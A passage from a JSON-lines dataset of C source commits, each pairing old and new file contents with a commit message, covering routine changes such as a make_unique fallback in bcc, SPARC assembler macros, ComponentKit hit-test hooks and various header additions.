std::make_unique;\n#else\ntemplate <class T, class... Args>\ntypename std::enable_if<!std::is_array<T>::value, std::unique_ptr<T>>::type\nmake_unique(Args &&... args) {\n  return std::unique_ptr<T>(new T(std::forward<Args>(args)...));\n}\n#endif\n\nstd::vector<int> get_online_cpus();\n\nstd::vector<int> get_possible_cpus();\n\nstd::string get_pid_exe(pid_t pid);\n\n}  \/\/ namespace ebpf\n","subject":"Use the STL's make_unique if available","message":"Use the STL's make_unique if available\n\nFixes build errors with GCC7.3.1 + LLVM5.0.1 under Centos.\n\n\/bcc\/src\/cc\/frontends\/b\/loader.cc: In member function 'int ebpf::BLoader::parse(llvm::Module*, const string&, const string&, ebpf::TableStorage&, const string&, const string&)':\n\/bcc\/src\/cc\/frontends\/b\/loader.cc:39:63: error: call of overloaded 'make_unique<ebpf::cc::Parser>(const string&)' is ambiguous\n   proto_parser_ = make_unique<ebpf::cc::Parser>(proto_filename);\n                                                               ^\nIn file included from \/bcc\/src\/cc\/frontends\/b\/node.h:26:0,\n                 from \/bcc\/src\/cc\/frontends\/b\/parser.h:20,\n                 from \/bcc\/src\/cc\/frontends\/b\/loader.cc:17:\n\/bcc\/src\/cc\/common.h:28:1: note: candidate: typename std::enable_if<(! std::is_array< <template-parameter-1-1> >::value), std::unique_ptr<_Tp> >::type e\/*\nbpf::make_unique(Args&& ...) [with T = ebpf::cc::Parser; Args = {const std::basic_string<char, std::char_traits<char>, std::allocator<char> >&}; typename std::enable_if<(! std::is_array< <template-parameter-1-1> >::value), std::unique_ptr<_Tp> >::type = std::unique_ptr<ebpf::cc::Parser>]\n make_unique(Args &&... args) {\n ^~~~~~~~~~~\nIn file included from \/opt\/rh\/devtoolset-7\/root\/usr\/include\/c++\/7\/memory:80:0,\n                 from \/bcc\/src\/cc\/frontends\/b\/node.h:22,\n                 from \/bcc\/src\/cc\/frontends\/b\/parser.h:20,\n                 from \/bcc\/src\/cc\/frontends\/b\/loader.cc:17:\n\/opt\/rh\/devtoolset-7\/root\/usr\/include\/c++\/7\/bits\/unique_ptr.h:824:5: note: candidate: typename std::_MakeUniq<_Tp>::__single_object std::make_unique(_Args&& ...) [with _Tp = ebpf::cc::Parser; _Args = {const std::basic_string<char, std::char_traits<char>, std::allocator<char> >&}; typename std::_MakeUniq<_Tp>::__single_object = std::unique_ptr<ebpf::cc::Parser>]\n     make_unique(_Args&&... __args)\n     ^~~~~~~~~~~\n\nSigned-off-by: Kyle Zhang <3c25b01657254677d3e1a8fd1f0742c5d489bd39@smartx.com>\n","lang":"C","license":"apache-2.0","repos":"tuxology\/bcc,brendangregg\/bcc,iovisor\/bcc,tuxology\/bcc,brendangregg\/bcc,brendangregg\/bcc,iovisor\/bcc,tuxology\/bcc,iovisor\/bcc,iovisor\/bcc,brendangregg\/bcc,tuxology\/bcc,tuxology\/bcc,iovisor\/bcc,brendangregg\/bcc"}
{"commit":"c69aadcb46169b63c37320d8ddf433be117cb827","old_file":"src\/ufrn_bti_imd0012_2017_1_t3\/produto_escalar.c","new_file":"src\/ufrn_bti_imd0012_2017_1_t3\/produto_escalar.c","old_contents":"","new_contents":"\/**\nProduto escalar de dois vetores de N posições.\nA.B = axbx + ayby + ... + anbn.\n*\/\n\n#include <stdio.h>\n\nint produtoEscalar(int sizes, int *v1, int *v2){\n\tint i;\n\tint escalar = 0;\n\tfor (i = 0; i < sizes; i++){\n\t\tescalar += v1[i] * v2[i];\n\t}\n\n\treturn escalar;\n}\n\nint main(){\n\n\tint n;\n\t\n\tprintf(\"Dimensão dos vetores: \");\n\tscanf(\"%d\", &n);\n\n\tint v1[n];\n\tint v2[n];\n\n\tprintf(\"Escreva os %d elementos inteiros de cada um dos DOIS vetores.\\n\", n);\n\tint i;\n\tfor(i = 0; i < n; i++){\n\t\tscanf(\"%d\", &v1[i]);\n\t}\n\tfor(i = 0; i < n; i++){\n\t\tscanf(\"%d\", &v2[i]);\n\t}\n\n\tprintf(\"Produto escalar: %d\\n\", produtoEscalar(n, v1, v2));\n\n    return 0;\n\n}","subject":"Add dot product (scalar product)","message":"Add dot product (scalar product)\n","lang":"C","license":"unknown","repos":"Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/MISC-Algs"}
{"commit":"db41cf2df6c16cec5bc7834b6932a276dc49324e","old_file":"arch\/sparc\/include\/asm\/asmmacro.h","new_file":"arch\/sparc\/include\/asm\/asmmacro.h","old_contents":"\/* asmmacro.h: Assembler macros.\n *\n * Copyright (C) 1996 David S. Miller (davem@caipfs.rutgers.edu)\n *\/\n\n#ifndef _SPARC_ASMMACRO_H\n#define _SPARC_ASMMACRO_H\n\n#include <asm\/btfixup.h>\n#include <asm\/asi.h>\n\n#define GET_PROCESSOR4M_ID(reg) \\\n\trd\t%tbr, %reg; \\\n\tsrl\t%reg, 12, %reg; \\\n\tand\t%reg, 3, %reg;\n\n#define GET_PROCESSOR4D_ID(reg) \\\n\tlda\t[%g0] ASI_M_VIKING_TMP1, %reg;\n\n\/* All trap entry points _must_ begin with this macro or else you\n * lose.  It makes sure the kernel has a proper window so that\n * c-code can be called.\n *\/\n#define SAVE_ALL_HEAD \\\n\tsethi\t%hi(trap_setup), %l4; \\\n\tjmpl\t%l4 + %lo(trap_setup), %l6;\n#define SAVE_ALL \\\n\tSAVE_ALL_HEAD \\\n\t nop;\n\n\/* All traps low-level code here must end with this macro. *\/\n#define RESTORE_ALL b ret_trap_entry; clr %l6;\n\n\/* sun4 probably wants half word accesses to ASI_SEGMAP, while sun4c+\n   likes byte accesses. These are to avoid ifdef mania. *\/\n\n#define lduXa\tlduba\n#define stXa\tstba\n\n#endif \/* !(_SPARC_ASMMACRO_H) *\/\n","new_contents":"\/* asmmacro.h: Assembler macros.\n *\n * Copyright (C) 1996 David S. Miller (davem@caipfs.rutgers.edu)\n *\/\n\n#ifndef _SPARC_ASMMACRO_H\n#define _SPARC_ASMMACRO_H\n\n#include <asm\/btfixup.h>\n#include <asm\/asi.h>\n\n#define GET_PROCESSOR4M_ID(reg) \\\n\trd\t%tbr, %reg; \\\n\tsrl\t%reg, 12, %reg; \\\n\tand\t%reg, 3, %reg;\n\n#define GET_PROCESSOR4D_ID(reg) \\\n\tlda\t[%g0] ASI_M_VIKING_TMP1, %reg;\n\n\/* All trap entry points _must_ begin with this macro or else you\n * lose.  It makes sure the kernel has a proper window so that\n * c-code can be called.\n *\/\n#define SAVE_ALL_HEAD \\\n\tsethi\t%hi(trap_setup), %l4; \\\n\tjmpl\t%l4 + %lo(trap_setup), %l6;\n#define SAVE_ALL \\\n\tSAVE_ALL_HEAD \\\n\t nop;\n\n\/* All traps low-level code here must end with this macro. *\/\n#define RESTORE_ALL b ret_trap_entry; clr %l6;\n\n#endif \/* !(_SPARC_ASMMACRO_H) *\/\n","subject":"Remove ldXa and stXa defines, unused.","message":"sparc32: Remove ldXa and stXa defines, unused.\n\nThese were for sharing some MMU code between sun4 and sun4c.\n\nSigned-off-by: David S. Miller <fe08d3c717adf2ae63592e4c9aec6e3e404d8e3e@davemloft.net>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"1e8ee5c91c4f254e5247f1c50bc4eb5e0edb09a6","old_file":"ComponentKit\/HostingView\/CKComponentRootViewInternal.h","new_file":"ComponentKit\/HostingView\/CKComponentRootViewInternal.h","old_contents":"\/*\n *  Copyright (c) 2014-present, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n\n#import <UIKit\/UIKit.h>\n\ntypedef UIView *(^CKComponentRootViewHitTestHook)(CKComponentRootView *rootView, CGPoint point, UIEvent *event);\n\n@interface CKComponentRootView ()\n\n\/**\n Exposes the ability to supplement the hitTest for the root view used in each CKComponentHostingView or\n UICollectionViewCell within a CKCollectionViewDataSource.\n\n Each hook will be called in the order they were registered. If any hook returns a view, that will override the return\n value of the view's -hitTest:withEvent:. If no hook returns a view, then the super implementation will be invoked.\n *\/\n+ (void)addHitTestHook:(CKComponentRootViewHitTestHook)hook;\n\n\/** Returns an array of all registered hit test hooks. *\/\n+ (NSArray *)hitTestHooks;\n\n@end\n","new_contents":"\/*\n *  Copyright (c) 2014-present, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n\n#import <UIKit\/UIKit.h>\n\n#import <ComponentKit\/CKComponentRootView.h>\n\ntypedef UIView *(^CKComponentRootViewHitTestHook)(UIView *rootView, CGPoint point, UIEvent *event);\n\n@interface CKComponentRootView ()\n\n\/**\n Exposes the ability to supplement the hitTest for the root view used in each CKComponentHostingView or\n UICollectionViewCell within a CKCollectionViewDataSource.\n\n Each hook will be called in the order they were registered. If any hook returns a view, that will override the return\n value of the view's -hitTest:withEvent:. If no hook returns a view, then the super implementation will be invoked.\n *\/\n+ (void)addHitTestHook:(CKComponentRootViewHitTestHook)hook;\n\n\/** Returns an array of all registered hit test hooks. *\/\n+ (NSArray *)hitTestHooks;\n\n@end\n","subject":"Change type of view passed to hit test hooks","message":"Change type of view passed to hit test hooks\n\nIf we want to support non-CKComponentRootViews that use these hooks, it has to be a generic UIView.\n","lang":"C","license":"bsd-3-clause","repos":"ezc\/componentkit,dshahidehpour\/componentkit,avnerbarr\/componentkit,dstnbrkr\/componentkit,SummerHanada\/componentkit,mcohnen\/componentkit,adamdahan\/componentkit,pairyo\/componentkit,mcohnen\/componentkit,stevielu\/componentkit,avnerbarr\/componentkit,inbilin-inc\/componentkit,lydonchandra\/componentkit,liyong03\/componentkit,adamdahan\/componentkit,inbilin-inc\/componentkit,Jericho25\/componentkit_JeckoHero,claricetechnologies\/componentkit,adamjernst\/componentkit,claricetechnologies\/componentkit,mcohnen\/componentkit,yiding\/componentkit,stevielu\/componentkit,eczarny\/componentkit,IveWong\/componentkit,aaronschubert0\/componentkit,modocache\/componentkit,21451061\/componentkit,ezc\/componentkit,TribeMedia\/componentkit,MDSilber\/componentkit,wee\/componentkit,MDSilber\/componentkit,stevielu\/componentkit,IveWong\/componentkit,Eric-LeiYang\/componentkit,eczarny\/componentkit,ezc\/componentkit,yiding\/componentkit,ezc\/componentkit,dstnbrkr\/componentkit,TribeMedia\/componentkit,leoschweizer\/componentkit,dshahidehpour\/componentkit,Eric-LeiYang\/componentkit,Jericho25\/componentkit_JeckoHero,yiding\/componentkit,pairyo\/componentkit,darknoon\/componentkitx,21451061\/componentkit,darknoon\/componentkitx,wee\/componentkit,modocache\/componentkit,modocache\/componentkit,smalllixin\/componentkit,modocache\/componentkit,eczarny\/componentkit,stevielu\/componentkit,TribeMedia\/componentkit,aaronschubert0\/componentkit,pairyo\/componentkit,yiding\/componentkit,dshahidehpour\/componentkit,leoschweizer\/componentkit,MDSilber\/componentkit,aaronschubert0\/componentkit,darknoon\/componentkitx,21451061\/componentkit,dstnbrkr\/componentkit,Jericho25\/componentkit_JeckoHero,lydonchandra\/componentkit,claricetechnologies\/componentkit,MDSilber\/componentkit,lydonchandra\/componentkit,SummerHanada\/componentkit,liyong03\/componentkit,leoschweizer\/componentkit,bricooke\/componentkit,inbilin-inc\/componentkit,bricooke\/componentkit,liyong03\/componentkit,IveWong\/componentkit,adamdahan\/componentkit,avnerbarr\/componentkit,SummerHanada\/componentkit,Jericho25\/componentkit_JeckoHero,pairyo\/componentkit,lydonchandra\/componentkit,21451061\/componentkit,ernestopino\/componentkit,ernestopino\/componentkit,aaronschubert0\/componentkit,wee\/componentkit,dstnbrkr\/componentkit,mcohnen\/componentkit,SummerHanada\/componentkit,ernestopino\/componentkit,smalllixin\/componentkit,leoschweizer\/componentkit,adamdahan\/componentkit,smalllixin\/componentkit,ernestopino\/componentkit,liyong03\/componentkit,claricetechnologies\/componentkit,Eric-LeiYang\/componentkit,bricooke\/componentkit,adamjernst\/componentkit,smalllixin\/componentkit,IveWong\/componentkit,avnerbarr\/componentkit,adamjernst\/componentkit,wee\/componentkit,inbilin-inc\/componentkit,darknoon\/componentkitx,adamjernst\/componentkit,TribeMedia\/componentkit,bricooke\/componentkit,Eric-LeiYang\/componentkit"}
{"commit":"0605946badd1b4d71fa0568a189c2ff5be6fc660","old_file":"SurgSim\/Framework\/Component-inl.h","new_file":"SurgSim\/Framework\/Component-inl.h","old_contents":"\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef SURGSIM_FRAMEWORK_COMPONENT_INL_H\n#define SURGSIM_FRAMEWORK_COMPONENT_INL_H\n\n\n\nnamespace SurgSim\n{\nnamespace Framework\n{\n\ntemplate <class Target, class Source>\nstd::shared_ptr<Target> checkAndConvert(std::shared_ptr<Source> incoming, const std::string& expectedTypeName)\n{\n\tauto result = std::dynamic_pointer_cast<Target>(incoming);\n\tSURGSIM_ASSERT(incoming != nullptr && result != nullptr)\n\t\t\t<< \"Expected \" << expectedTypeName << \" but received \" << incoming->getClassName() << \" which cannot \"\n\t\t\t<< \"be converted.\";\n\treturn result;\n};\n\n}\n}\n\n#endif\n","new_contents":"\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef SURGSIM_FRAMEWORK_COMPONENT_INL_H\n#define SURGSIM_FRAMEWORK_COMPONENT_INL_H\n\n\n\nnamespace SurgSim\n{\nnamespace Framework\n{\n\ntemplate <class Target, class Source>\nstd::shared_ptr<Target> checkAndConvert(std::shared_ptr<Source> incoming, const std::string& expectedTypeName)\n{\n\tSURGSIM_ASSERT(incoming != nullptr) << \"Incoming pointer can't be nullptr\";\n\tauto result = std::dynamic_pointer_cast<Target>(incoming);\n\tSURGSIM_ASSERT(result != nullptr)\n\t\t\t<< \"Expected \" << expectedTypeName << \" but received \" << incoming->getClassName() << \" which cannot \"\n\t\t\t<< \"be converted, in component \" << incoming->getFullName() << \".\";\n\treturn result;\n};\n\n}\n}\n\n#endif\n","subject":"Fix check against nullptr in checkandconvert","message":"Fix check against nullptr in checkandconvert\n","lang":"C","license":"apache-2.0","repos":"simquest\/opensurgsim,simquest\/opensurgsim,simquest\/opensurgsim,simquest\/opensurgsim"}
{"commit":"d387e1648e5f30d40d811ae6c5a89726b621cfdb","old_file":"src\/Layer.h","new_file":"src\/Layer.h","old_contents":"#ifndef LAYER_H_\n#define LAYER_H_\n\nclass Layer\n{\npublic:\n    virtual void render()=0;\n    virtual void update()=0;\n\nprotected:\n    virtual ~Layer();\n};\n\n#endif\n","new_contents":"#ifndef LAYER_H_\n#define LAYER_H_\n\n\/\/Abstract layer class\n\nclass Layer\n{\npublic:\n    virtual void render()=0;\n    virtual void update()=0;\n\nprotected:\n    virtual ~Layer() {}\n};\n\n#endif\n","subject":"Make sure layer class is destructed first","message":"Make sure layer class is destructed first\n","lang":"C","license":"mit","repos":"metatrevor\/mchezo-engine,metatrevor\/mchezo-engine"}
{"commit":"6dde82a036afb3d1a6e012f2f8273b401c8b47d1","old_file":"gnu\/lib\/libregex\/gnuregex.h","new_file":"gnu\/lib\/libregex\/gnuregex.h","old_contents":"\/* $FreeBSD$ *\/\n#warning \"<gnuregex.h> has been replaced by <gnu\/regex.h>\"\n#include <gnu\/regex.h>\n","new_contents":"\/*-\n * Copyright (c) 2004 David E. O'Brien\n * Copyright (c) 2004 Andrey A. Chernov\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#ifdef __GNUC__\n#warning \"<gnuregex.h> has been replaced by <gnu\/regex.h>\"\n#endif\n#include <gnu\/regex.h>\n","subject":"Allow to compile with non-GCC compiler.","message":"Allow to compile with non-GCC compiler.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"5c31ae8d7724618d27315791605449d7693bde78","old_file":"ppu\/include\/sysutil\/sysutil.h","new_file":"ppu\/include\/sysutil\/sysutil.h","old_contents":"#ifndef __LV2_SYSUTIL_H__\n#define __LV2_SYSUTIL_H__\n\n#include <ppu-types.h>\n\n#define SYSUTIL_EVENT_SLOT0\t\t\t0\n#define SYSUTIL_EVENT_SLOT1\t\t\t1\n#define SYSUTIL_EVENT_SLOT2\t\t\t2\n#define SYSUTIL_EVENT_SLOT3\t\t\t3\n\n#define SYSUTIL_EXIT_GAME\t\t\t0x0101\n#define SYSUTIL_DRAW_BEGIN\t\t\t0x0121\n#define SYSUTIL_DRAW_END\t\t\t0x0122\n#define SYSUTIL_MENU_OPEN\t\t\t0x0131\n#define SYSUTIL_MENU_CLOSE\t\t\t0x0132\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef void (*sysutilCallback)(u64 status,u64 param,void *usrdata);\n\ns32 sysUtilCheckCallback();\ns32 sysUtilUnregisterCallback(s32 slot);\ns32 sysUtilRegisterCallback(s32 slot,sysutilCallback cb,void *usrdata);\n\n#ifdef __cplusplus\n\t}\n#endif\n\n#endif\n","new_contents":"#ifndef __LV2_SYSUTIL_H__\n#define __LV2_SYSUTIL_H__\n\n#include <ppu-types.h>\n\n#define SYSUTIL_EVENT_SLOT0\t\t\t0\n#define SYSUTIL_EVENT_SLOT1\t\t\t1\n#define SYSUTIL_EVENT_SLOT2\t\t\t2\n#define SYSUTIL_EVENT_SLOT3\t\t\t3\n\n#define SYSUTIL_EXIT_GAME\t\t\t0x0101\n#define SYSUTIL_DRAW_BEGIN\t\t\t0x0121\n#define SYSUTIL_DRAW_END\t\t\t0x0122\n#define SYSUTIL_MENU_OPEN\t\t\t0x0131\n#define SYSUTIL_MENU_CLOSE\t\t\t0x0132\n#define SYSUTIL_OSK_LOADED                      0x0502\n#define SYSUTIL_OSK_DONE                        0x0503\n#define SYSUTIL_OSK_UNLOADED                    0x0504\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef void (*sysutilCallback)(u64 status,u64 param,void *usrdata);\n\ns32 sysUtilCheckCallback();\ns32 sysUtilUnregisterCallback(s32 slot);\ns32 sysUtilRegisterCallback(s32 slot,sysutilCallback cb,void *usrdata);\n\n#ifdef __cplusplus\n\t}\n#endif\n\n#endif\n","subject":"Add defines for OSK event ids","message":"Add defines for OSK event ids\n","lang":"C","license":"mit","repos":"ps3dev\/PSL1GHT,ps3dev\/PSL1GHT,ps3dev\/PSL1GHT,ps3dev\/PSL1GHT"}
{"commit":"124b9d9f70d198fd7ad220e75ad5c7fded10474f","old_file":"src\/minunit.h","new_file":"src\/minunit.h","old_contents":"\/* http:\/\/www.jera.com\/techinfo\/jtns\/jtn002.html *\/\n\n#define mu_assert(message, test) do { if (!(test)) return message; } while (0)\n#define mu_run_test(testname, test) \\\n\tdo { \\\n\t\tchar *message = test(); tests_run++; \\\n\t\tif (message) return message; \\\n\t\telse printf(\"OK: %s\\n\", testname); \\\n\t} while (0)\n\nextern int tests_run;\n","new_contents":"\/* http:\/\/www.jera.com\/techinfo\/jtns\/jtn002.html *\/\n\n#define mu_assert(message, test) \\\n\tdo { \\\n\t\tif (!(test)) \\\n\t\t\treturn message; \\\n\t} while (0)\n\n#define mu_run_test(testname, test) \\\n\tdo { \\\n\t\tchar *message = test(); tests_run++; \\\n\t\tif (message) return message; \\\n\t\telse printf(\"OK: %s\\n\", testname); \\\n\t} while (0)\n\nextern int tests_run;\n","subject":"Split macro into multiple lines.","message":"Split macro into multiple lines.\n","lang":"C","license":"mit","repos":"profan\/yet-another-brainfuck-interpreter"}
{"commit":"9246d17556bfb4e9e5ba05f90ca3983dd7ad28d3","old_file":"Preferences\/PSSwitchTableCell.h","new_file":"Preferences\/PSSwitchTableCell.h","old_contents":"#import \"PSControlTableCell.h\"\n\n@class UIActivityIndicatorView;\n\n@interface PSSwitchTableCell : PSControlTableCell  {\n    UIActivityIndicatorView *_activityIndicator;\n}\n\n@property BOOL loading;\n\n- (BOOL)loading;\n- (void)setLoading:(BOOL)loading;\n- (id)controlValue;\n- (id)newControl;\n- (void)setCellEnabled:(BOOL)enabled;\n- (void)refreshCellContentsWithSpecifier:(id)specifier;\n- (id)initWithStyle:(int)style reuseIdentifier:(id)identifier specifier:(id)specifier;\n- (void)reloadWithSpecifier:(id)specifier animated:(BOOL)animated;\n- (BOOL)canReload;\n- (void)prepareForReuse;\n- (void)layoutSubviews;\n- (void)setValue:(id)value;\n\n@end\n","new_contents":"#import \"PSControlTableCell.h\"\n\n@class UIActivityIndicatorView;\n\n@interface PSSwitchTableCell : PSControlTableCell {\n\tUIActivityIndicatorView *_activityIndicator;\n}\n\n@property (nonatomic) BOOL loading;\n\n@end\n","subject":"Clean up what looks like a direct class-dump header.","message":"[Preferences] Clean up what looks like a direct class-dump header.\n","lang":"C","license":"unlicense","repos":"hbang\/headers,hbang\/headers"}
{"commit":"288f2d1cfa42f8b380ef6a3e3f175a8b474f8303","old_file":"thread_tree.h","new_file":"thread_tree.h","old_contents":"\/*\n * Raphael Kubo da Costa - RA 072201\n *\n * MC514 - Lab2\n *\/\n\n#ifndef __THREAD_TREE_H\n#define __THREAD_TREE_H\n\ntypedef struct\n{\n  size_t n_elem;\n  pthread_t *list;\n} ThreadLevel;\n\ntypedef struct\n{\n  size_t height;\n  ThreadLevel **tree;\n} ThreadTree;\n\nThreadTree *thread_tree_new(size_t numthreads);\n\nvoid thread_tree_free(ThreadTree *tree);\n\n#endif \/* __THREAD_TREE_H *\/\n","new_contents":"\/*\n * Raphael Kubo da Costa - RA 072201\n *\n * MC514 - Lab2\n *\/\n\n#ifndef __THREAD_TREE_H\n#define __THREAD_TREE_H\n\ntypedef struct\n{\n  size_t *interested;\n  pthread_t *list;\n  size_t n_elem;\n  size_t turn;\n} ThreadLevel;\n\ntypedef struct\n{\n  size_t height;\n  ThreadLevel **tree;\n} ThreadTree;\n\nThreadTree *thread_tree_new(size_t numthreads);\n\nvoid thread_tree_free(ThreadTree *tree);\n\n#endif \/* __THREAD_TREE_H *\/\n","subject":"Add turn and interested fields per level","message":"Add turn and interested fields per level\n","lang":"C","license":"bsd-2-clause","repos":"rakuco\/peterson_futex"}
{"commit":"d84323ce8cd37c5b88a84e8a8ca2e80dc2b51acc","old_file":"WordPressCom-Stats-iOS\/StatsSection.h","new_file":"WordPressCom-Stats-iOS\/StatsSection.h","old_contents":"typedef NS_ENUM(NSInteger, StatsSection) {\n    StatsSectionGraph,\n    StatsSectionPeriodHeader,\n    StatsSectionEvents,\n    StatsSectionPosts,\n    StatsSectionReferrers,\n    StatsSectionClicks,\n    StatsSectionCountry,\n    StatsSectionVideos,\n    StatsSectionAuthors,\n    StatsSectionSearchTerms,\n    StatsSectionComments,\n    StatsSectionTagsCategories,\n    StatsSectionFollowers,\n    StatsSectionPublicize,\n    StatsSectionWebVersion\n};\n\ntypedef NS_ENUM(NSInteger, StatsSubSection) {\n    StatsSubSectionCommentsByAuthor = 100,\n    StatsSubSectionCommentsByPosts,\n    StatsSubSectionFollowersDotCom,\n    StatsSubSectionFollowersEmail,\n    StatsSubSectionNone\n};\n","new_contents":"typedef NS_ENUM(NSInteger, StatsSection) {\n    StatsSectionGraph,\n    StatsSectionPeriodHeader,\n    StatsSectionEvents,\n    StatsSectionPosts,\n    StatsSectionReferrers,\n    StatsSectionClicks,\n    StatsSectionCountry,\n    StatsSectionVideos,\n    StatsSectionAuthors,\n    StatsSectionSearchTerms,\n    StatsSectionComments,\n    StatsSectionTagsCategories,\n    StatsSectionFollowers,\n    StatsSectionPublicize,\n    StatsSectionWebVersion,\n    StatsSectionPostDetailsGraph,\n    StatsSectionPostDetailsMonthsYears,\n    StatsSectionPostDetailsAveragePerDay,\n    StatsSectionPostDetailsRecentWeeks\n};\n\ntypedef NS_ENUM(NSInteger, StatsSubSection) {\n    StatsSubSectionCommentsByAuthor = 100,\n    StatsSubSectionCommentsByPosts,\n    StatsSubSectionFollowersDotCom,\n    StatsSubSectionFollowersEmail,\n    StatsSubSectionNone\n};\n","subject":"Add new sections for post details","message":"Add new sections for post details\n","lang":"C","license":"mit","repos":"wordpress-mobile\/WordPressCom-Stats-iOS,wordpress-mobile\/WordPressCom-Stats-iOS"}
{"commit":"d81b288141955127e3752502433f674276cde50b","old_file":"3RVX\/OSD\/EjectOSD.h","new_file":"3RVX\/OSD\/EjectOSD.h","old_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\n#include <Windows.h>\n\n#include \"OSD.h\"\n\nclass NotifyIcon;\n\nclass EjectOSD : public OSD {\npublic:\n    EjectOSD();\n\n    virtual void Hide();\n    virtual void ProcessHotkeys(HotkeyInfo &hki);\n\nprivate:\n    DWORD _ignoreDrives;\n    DWORD _latestDrive;\n    MeterWnd _mWnd;\n\n    NotifyIcon *_icon;\n    std::vector<HICON> _iconImages;\n\n    void EjectDrive(std::wstring driveLetter);\n\n    DWORD DriveLetterToMask(wchar_t letter);\n    wchar_t MaskToDriveLetter(DWORD mask);\n\n    virtual void OnDisplayChange();\n\n    virtual LRESULT WndProc(HWND hWnd, UINT message,\n        WPARAM wParam, LPARAM lParam);\n};","new_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\n#include <Windows.h>\n\n#include <thread>\n\n#include \"OSD.h\"\n\nclass NotifyIcon;\n\nclass EjectOSD : public OSD {\npublic:\n    EjectOSD();\n\n    virtual void Hide();\n    virtual void ProcessHotkeys(HotkeyInfo &hki);\n\nprivate:\n    DWORD _ignoreDrives;\n    DWORD _latestDrive;\n    MeterWnd _mWnd;\n\n    NotifyIcon *_icon;\n    std::vector<HICON> _iconImages;\n\n    std::thread _menuThread;\n    void EjectDrive(std::wstring driveLetter);\n\n    DWORD DriveLetterToMask(wchar_t letter);\n    wchar_t MaskToDriveLetter(DWORD mask);\n\n    virtual void OnDisplayChange();\n\n    virtual LRESULT WndProc(HWND hWnd, UINT message,\n        WPARAM wParam, LPARAM lParam);\n};","subject":"Add thread member for offloading disk info ops","message":"Add thread member for offloading disk info ops\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
